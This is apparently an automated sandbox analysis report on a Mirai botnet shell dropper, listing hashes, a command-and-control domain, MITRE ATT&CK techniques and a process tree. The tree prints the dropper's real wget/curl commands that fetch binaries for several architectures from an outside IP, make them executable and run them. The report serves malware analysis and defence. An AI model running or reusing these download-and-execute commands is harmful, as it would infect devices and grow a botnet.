mirai | ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b

Analysis

max time kernel
135s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-11-2024 03:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
Size

2KB
MD5

e4e77af4bac19bf01d29278bd0e9e586
SHA1

c196bf5f34ff7ea2153847184efb61e1660a156b
SHA256

ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b
SHA512

84b295fee8cd431551221eaf5bb3148d58c5e58fce7a824bd30b0f6debff6cb10443518167a61eb4e06ee3802b0c476a8c464c8481f38fa4cd1208566adbb10e

Score

10^/10

mirai unstable antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

server.myway-ing.win

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

server.myway-ing.win

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

826 chmod
832 chmod
838 chmod
849 chmod
735 chmod
747 chmod
801 chmod
720 chmod
765 chmod
843 chmod
690 chmod
702 chmod
708 chmod
Deletes itself 2 IoCs

Processes:

WTHWTH

pid process

721 WTH
766 WTH

pid	process
826	chmod
832	chmod
838	chmod
849	chmod
735	chmod
747	chmod
801	chmod
720	chmod
765	chmod
843	chmod
690	chmod
702	chmod
708	chmod

pid	process
721	WTH
766	WTH

Executes dropped EXE 13 IoCs

Processes:

WTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTH

ioc	pid	process
/tmp/WTH	692	WTH
/tmp/WTH	703	WTH
/tmp/WTH	709	WTH
/tmp/WTH	721	WTH
/tmp/WTH	736	WTH
/tmp/WTH	750	WTH
/tmp/WTH	766	WTH
/tmp/WTH	802	WTH
/tmp/WTH	827	WTH
/tmp/WTH	833	WTH
/tmp/WTH	839	WTH
/tmp/WTH	844	WTH
/tmp/WTH	850	WTH

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

WTHWTH

description	ioc	process
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH

Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
discovery

System Network Connections Discovery
T1049

Processes:

WTH

description ioc process

File opened for reading /proc/net/tcp WTH

description	ioc	process
File opened for reading	/proc/net/tcp	WTH

Writes file to system bin folder 4 IoCs

Processes:

WTHWTH

description	ioc	process
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH

Changes its process name 2 IoCs

Processes:

WTHWTH

description	ioc	pid	process
Changes the process name, possibly in an attempt to hide itself	7qbw5eit71nohbt2	721	WTH
Changes the process name, possibly in an attempt to hide itself	h3etodrotfm27ein	766	WTH

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
discovery

Internet Connection Discovery
T1016.001

Processes:

WTH

description ioc process

File opened for reading /proc/net/tcp WTH

description	ioc	process
File opened for reading	/proc/net/tcp	WTH

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlcatWTH

pid process

694 wget
699 curl
701 cat
703 WTH

pid	process
694	wget
699	curl
701	cat
703	WTH

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlcurlwgetwgetcurlcurlwgetwgetcurlca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.shwgetwgetwgetcurlcurlcurlcurlcurlcurlwgetwgetcurlwgetcurl

description	ioc	process
File opened for modification	/tmp/zmap.sh4	wget
File opened for modification	/tmp/zmap.sh4	curl
File opened for modification	/tmp/zmap.x86	curl
File opened for modification	/tmp/zmap.mpsl	wget
File opened for modification	/tmp/zmap.m68k	wget
File opened for modification	/tmp/zmap.m68k	curl
File opened for modification	/tmp/zmap.arm6	curl
File opened for modification	/tmp/zmap.ppc	wget
File opened for modification	/tmp/zmap.spc	wget
File opened for modification	/tmp/zmap.spc	curl
File opened for modification	/tmp/WTH	ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
File opened for modification	/tmp/zmap.mips	wget
File opened for modification	/tmp/zmap.arm	wget
File opened for modification	/tmp/zmap.arm6	wget
File opened for modification	/tmp/zmap.arm7	curl
File opened for modification	/tmp/zmap.ppc	curl
File opened for modification	/tmp/zmap.arc	curl
File opened for modification	/tmp/zmap.mips	curl
File opened for modification	/tmp/zmap.mpsl	curl
File opened for modification	/tmp/zmap.arm	curl
File opened for modification	/tmp/zmap.arm5	wget
File opened for modification	/tmp/zmap.x86	wget
File opened for modification	/tmp/zmap.arm5	curl
File opened for modification	/tmp/zmap.arm7	wget
File opened for modification	/tmp/zmap.i686	curl

/tmp/ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
/tmp/ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
1⤵
- Writes file to tmp directory
PID:664
- /usr/bin/wget
  wget http://154.216.16.38/zmap.x86
  2⤵
  - Writes file to tmp directory
  PID:666
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/cat
  cat zmap.x86
  2⤵
  PID:689
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/WTH
  ./WTH ssh.x86
  2⤵
  - Executes dropped EXE
  PID:692
- /usr/bin/wget
  wget http://154.216.16.38/zmap.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:694
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:699
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:701
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.mips zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/WTH
  ./WTH ssh.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:703
- /usr/bin/wget
  wget http://154.216.16.38/zmap.mpsl
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:706
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:707
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/WTH
  ./WTH ssh.mpsl
  2⤵
  - Executes dropped EXE
  PID:709
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/cat
  cat zmap.arm
  2⤵
  PID:719
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.arm zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/WTH
  ./WTH ssh.arm
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:721
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm5
  2⤵
  - Writes file to tmp directory
  PID:723
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:733
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/WTH
  ./WTH ssh.arm5
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm6
  2⤵
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:745
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/WTH
  ./WTH ssh.arm6
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm7
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:764
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/WTH
  ./WTH ssh.arm7
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:766
- /usr/bin/wget
  wget http://154.216.16.38/zmap.ppc
  2⤵
  - Writes file to tmp directory
  PID:789
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:799
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-CuimCH WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/WTH
  ./WTH ssh.ppc
  2⤵
  - Executes dropped EXE
  PID:802
- /usr/bin/wget
  wget http://154.216.16.38/zmap.m68k
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:825
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/WTH
  ./WTH ssh.m68k
  2⤵
  - Executes dropped EXE
  PID:827
- /usr/bin/wget
  wget http://154.216.16.38/zmap.spc
  2⤵
  - Writes file to tmp directory
  PID:829
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat zmap.spc
  2⤵
  PID:831
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/WTH
  ./WTH ssh.spc
  2⤵
  - Executes dropped EXE
  PID:833
- /usr/bin/wget
  wget http://154.216.16.38/zmap.i686
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/cat
  cat zmap.i686
  2⤵
  PID:837
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/WTH
  ./WTH ssh.i686
  2⤵
  - Executes dropped EXE
  PID:839
- /usr/bin/wget
  wget http://154.216.16.38/zmap.sh4
  2⤵
  - Writes file to tmp directory
  PID:840
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/cat
  cat zmap.sh4
  2⤵
  PID:842
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/WTH
  ./WTH ssh.sh4
  2⤵
  - Executes dropped EXE
  PID:844
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arc
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/cat
  cat zmap.arc
  2⤵
  PID:848
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/WTH
  ./WTH ssh.arc
  2⤵
  - Executes dropped EXE
  PID:850

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/WTH

Filesize
94KB

MD5
192b6eb8dcf1ad172064c832fbb47b92

SHA1
a2af8812f96d0748f3a119a4419ff65dcffb179c

SHA256
a97f5317845c7053e64d0d8d5e076532de7a2c98189eb7304b8e0e742e61e93d

SHA512
7ad2efc28832cf1312c00bccf6866669938b0f4787999b7112f750377aa5582b8c508bedba29f482dadceb6a1c3868ce87220cdded44399a1cd325ab9bfd7e9a

Download Submit
/tmp/WTH

Filesize
94KB

MD5
b4458e4fa2efcf88bfa2aaeda864519e

SHA1
8263798736379ed4ce23ef75e4d1f606e05c815b

SHA256
146ef07d918f77546ba8112e9f307361f9d54af4886dba7fc4ba9e58bc8c5d47

SHA512
4aa6068f6e3ed09c6706c37f046cd4081a5c7de3e307860e67ff9fff426a281f33dbb027bbcb36b0fd9df6dccd083308d78f43948009ccdcc3676ed4ff063010

Download Submit
/tmp/WTH

Filesize
74KB

MD5
8a666a51d2aeb8e106c7c9a302aa3acb

SHA1
c222cd4760966db8f2461c4dc034f9f3fe912eb2

SHA256
7b6c76af31adf965e62b5c726ea382825eb5f2aefc7e7331b192e0d4c809fe46

SHA512
b48dd376f4e801bd6ea3351a1726a45d1b895f25f534d9d211b1023195881211f3b52f02914317899f122d71b88775e912f6092e5fe7d83565b3fd23012a04ac

Download Submit
/tmp/WTH

Filesize
49KB

MD5
803219db4e5384144e86c388e558a530

SHA1
c8cb8ec327c2a53a6a5fa42d8c2886161defff89

SHA256
0edc353b0bc96801a0a2d654427c9f51991f3500a3a43070d9c5828efadd352e

SHA512
ccc7ee4ea8f672dd7d8df15e809b6cd9250ec80c0edbd929f0f8ab794c07bcf6ca7aade1f47898348b999f729b1ed6b47d4abed73eb8d2c94eac023fd5cf6332

Download Submit
/tmp/WTH

Filesize
152KB

MD5
04bd1585a8ca785193b158d27307e80b

SHA1
20faf0e3c7f878f134142f71c9f5b7d58ce5ab17

SHA256
272f6e7e0d6dd601ef8110959bc6907cf4531a87fc3e6a5b3ab7d32d1fa3d2ee

SHA512
d92b33a37dbd627faaf48ed65f785191ea8fccb104e15801d64160885e6244a7a98bc17ae1a5eb9e0c9d7f4b5f807174c2aff30d7235be4e8a19b271cd1fc2f2

Download Submit
/tmp/zmap.x86

Filesize
61KB

MD5
8edb75406d233f4201e85fd2d746c114

SHA1
79272fc7bf16c8f354efa0b4b59bcdf0f929fa0a

SHA256
e1f60f41d27140942ad74ef1f1bae26fc98787fed03c91d3c4a33e5390b6d3be

SHA512
df424a671363b4a9d6480a3210e9b135dfbce80bb9e8af7f2b931c5ba51deb8256d54b505dd418091f03c4139ccec955cc00cfeb1456e791c37d7abb5a1253c5

Download Submit